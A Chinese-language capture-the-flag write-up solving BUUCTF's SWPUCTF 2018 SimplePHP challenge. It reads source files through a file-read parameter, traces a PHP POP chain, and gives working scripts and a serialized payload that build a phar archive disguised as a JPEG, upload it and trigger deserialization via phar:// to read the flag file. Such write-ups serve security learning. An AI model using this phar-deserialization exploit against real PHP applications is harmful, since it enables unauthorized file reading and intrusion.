BUUCTF [SWPUCTF 2018]SimplePHP

[SWPUCTF 2018]SimplePHP

查看upload_file.php的前端代码:

image-20240131153511696

可以知道flag在flag.php文件中

image-20240131153704971

同时发现file.php存在文件内容读取点file,猜测可以利用该文件读取点读取一些文件信息:

读取文件信息:

读取index.php文件信息:

1
file.php?file=index.php

image-20240131153846994

index.php:

1
2
3
4
<?php 
header("content-type:text/html;charset=utf-8");
include 'base.php';
?>

发现存在一个base.php

读取upload_file.php:

1
file.php?file=upload_file.php

image-20240131154022816

upload_file.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php 
include 'function.php';
upload_file();
?>
<html>
<head>
<meta charest="utf-8">
<title>文件上传</title>
</head>
<body>
<div align = "center">
<h1>前端写得很low,请各位师傅见谅!</h1>
</div>
<style>
p{ margin:0 auto}
</style>
<div>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</div>

</script>
</body>
</html>

发现存在function.php

读取file.php:

1
file.php?file=file.php

image-20240131154240387

file.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php 
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
// 指定当前程序PHP只能访问位于 /var/www/html/ 目录及其子目录下的文件。如果脚本尝试访问超出这个目录范围的文件,将会受到限制并抛出相应的错误或异常
ini_set('open_basedir','/var/www/html/');
// 获取文件名信息
$file = $_GET["file"] ? $_GET['file'] : "";
// 判断文件名是否为空
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
// 申请一个show类
$show = new Show();
// 判断文件是否存在,可以用于触发phar反序列化
if(file_exists($file)) {
// 展示文件信息
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>

读取class.php:

class.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
 <?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

读取function.php:

function.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php 
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
// 设置filename为上传的文件名与$_SERVER["REMOTE_ADDR"]拼接后的字符串的md5加密字符串
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
// 判断upload/文件夹下是否存在该文件
if(file_exists("upload/" . $filename)) {
// 如果存在同文件名的文件,则将其删除,unlink可以触发phar反序列化
// 但是由于当前php程序没有引用class.php类,所以无法使用phar发序列化触发pop链
// 但如果该类被引用,引用的php文件中同样引用了class.php,则可以使用phar反序列化
unlink($filename);
}
// 将文件内容转移到新的文件夹upload下
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
// 输出文件上传成功的信息
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
// 先进行对文件的检查
if(upload_file_check()) {
// 文件为白名单文件时,将文件上传
upload_file_do();
}
}
// 对上传文件进行检测
function upload_file_check() {
global $_FILES;
// 设置白名单文件后缀名,phar反序列化可以进行绕过
$allowed_types = array("gif","jpeg","jpg","png");
// 将文件名按'.'分割成各个数组
$temp = explode(".",$_FILES["file"]["name"]);
// 获取$temp数组的最后一个元素
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
// 判断我们上传的文件后缀名在不在白名单中
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>

读取base.php:

base.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>web3</title>
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="index.php">首页</a>
</div>
<ul class="nav navbar-nav navbra-toggle">
<li class="active"><a href="file.php?file=">查看文件</a></li>
<li><a href="upload_file.php">上传文件</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
</ul>
</div>
</nav>
</body>
</html>
<!--flag is in f1ag.php-->

读取f1ag.php:

image-20240131162701502

无法直接访问f1ag.php文件

代码审计分析:

image-20240131165556845

可以通过直接绕过preg_math()的检测获取f1ag.php的内容

image-20240131165726408

file.php中存在file_exists()函数,我们也可以通过该函数触发phar反序列化,获取f1ag.php的内容

这里我们尝试使用phar反序列化获取f1ag.php文件的内容

危险函数:

image-20240131165937286

image-20240131165948278

由于_show()函数只有在file.php中有使用,在class.php中没有其他地方有使用该函数,所以用该函数进行pop链不理想,所以我们尝试用pop链触发file_get()函数

构造phar反序化:

pop链分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
1.$text = base64_encode(file_get_contents($value));
$value=f1ag.php

2.Test::file_get($value)
=>$text = base64_encode(file_get_contents($value));
$value=f1ag.php

3.Test::get($key)
=>Test::file_get($value)
=>$text = base64_encode(file_get_contents($value));
$this->params[$key]=f1ag.php
$value=f1ag.php

4.Test::__get($key)
=>Test::get($key)
=>Test::file_get($value)
=>$text = base64_encode(file_get_contents($value));
$this->params[$key]=f1ag.php
$value=f1ag.php

5.要触发__get()函数,需要调用该类的私有变量或不存在的变量时,才会调用
Show::__toString()=>$content = $this->str['str']->source;
=>Test::get($key)
=>Test::file_get($value)
=>$text = base64_encode(file_get_contents($value));
Show->str['str']=new Test
$key='source'
params=array('source'=>'f1ag.php')
$this->params[$key]=f1ag.php
$value=f1ag.php

6.要触发__toString()函数,当输出引用该函数所在的对象时,或对类进行字符串处理时会自动调用该函数,同样由于我们获取的f1ag.php信息是通过return返回的,所以我们需要有一个输出echo或print去输出我们获取到的f1ag.php文件信息,所以考虑采用C1e4r::__destruct()=>echo $this->test;//$this->test = new Show()
C1e4r::__destruct()=>echo $this->test;
=>Show::__toString()=>$content = $this->str['str']->source;
=>Test::get($key)
=>Test::file_get($value)
=>$text = base64_encode(file_get_contents($value));
C1e4r->str = new Show()
C1e4r->test = new Show()
Show->str['str']=new Test
$key='source'
params=array('source'=>'f1ag.php')
$this->params[$key]=f1ag.php
$value=f1ag.php

构造pop链脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
// 该函数可以直接展示指定目录的文件信息,可以进行利用
// 但是我们需要绕过preg_mathch()的检测
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
// 存在文件打开函数,可以用于获取文件信息
$text = base64_encode(file_get_contents($value));
return $text;
}
}

$file = 'index.php';
$name = new Show($file);

$b = new Test();
$b->params = array('source'=>'f1ag.php');
$name->str=array('str'=>$b);

$a = new C1e4r($name);

$a = serialize($a);
echo $a;

// @unserialize($a);


?>

输出:

image-20240131181102991

base64解密:

image-20240131181118458

反序列化测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
// 该函数可以直接展示指定目录的文件信息,可以进行利用
// 但是我们需要绕过preg_mathch()的检测
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
// 存在文件打开函数,可以用于获取文件信息
$text = base64_encode(file_get_contents($value));
return $text;
}
}

$file = 'index.php';
$name = new Show($file);

$b = new Test();
$b->params = array('source'=>'f1ag.php');
$name->str=array('str'=>$b);

$a = new C1e4r($name);

// $a = serialize($a);
// echo $a;
$test = 'O:5:"C1e4r":2:{s:4:"test";N;s:3:"str";O:4:"Show":2:{s:6:"source";s:9:"index.php";s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";s:8:"f1ag.php";}}}}}';
@unserialize($test);


?>
输出:

image-20240131181309988

总共有两次base64输出,第一次为自动销毁对象时触发,第二次为unserialize()时触发产生,所以可以证明我们的序列化操作正确。

serialize序列化和phar序列化的运行原理基本基本一直,只是触发的方式不相同,所以可以使用普通的序列化来测试pop链的正确性

构造phar序列化文件脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
// 该函数可以直接展示指定目录的文件信息,可以进行利用
// 但是我们需要绕过preg_mathch()的检测
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
// 存在文件打开函数,可以用于获取文件信息
$text = base64_encode(file_get_contents($value));
return $text;
}
}

$file = 'index.php';
$name = new Show($file);

$b = new Test();
//这里要注意f1ag.php的路径不是在upload文件夹下的,是在/var/www/html/下,也可以用upload/../f1ag.php
$b->params = array('source'=>'/var/www/html/f1ag.php');
$name->str=array('str'=>$b);

$a = new C1e4r($name);

unlink("pop.phar");
$phar = new Phar("pop.phar");
$phar->startBuffering();
$phar->setStub("<php __HALT_COMPILER(); ?>");
// pop链内容获取点
$o = $a;
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

更改生成的pop.phar文件为pop.jpg后上传:

(直接改后缀就可以保证文件内部的二进制内容不变,如果用工具改后缀,可能会导致文件内部内容改变,从而无法被phar://协议解析)

image-20240131201607885

image-20240131182313018

上传成功!!!

在file.php页面使用phar://协议访问我们上传的pop.jpg:

在function.php中存在以下代码:

1
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 

所以我们的文件名为:md5(‘pop.jpg’.$_SERVER[“REMOTE_ADDR”])

分析:

$_SERVER[“REMOTE_ADDR”] 是一个 PHP 预定义变量,用于获取当前请求的客户端 IP 地址,$_FILES[“file”][“name”] 获取的是整个文件名包含文件的后缀名。

根据网页的显示:

image-20240131201918489

image-20240131201529895

以及base.php中的代码审计:
image-20240131182903755

我们可以知道我们的客户端ip地址为10.244.80.21(ipv4只有4部分)

所以我们上传的文件名为:

1
2
<?php
echo md5('pop.jpg'.'10.244.80.21');

输出:

1
2f65792e232f3de9f28be6a4566226b4

使用phar://协议访问我们的上传文件:

1
http://abee5700-2f2c-4100-9748-3631d96928c3.node5.buuoj.cn:81/file.php?file=phar://upload/2f65792e232f3de9f28be6a4566226b4.jpg

image-20240131201331781

对密文进行解码得:

image-20240131201141153

flag=flag{56a68951-e267-4621-86e8-2418e3005173}


BUUCTF [SWPUCTF 2018]SimplePHP
http://example.com/2024/02/03/2024-2-3-SimplePHP/
作者
South
发布于
2024年2月3日
许可协议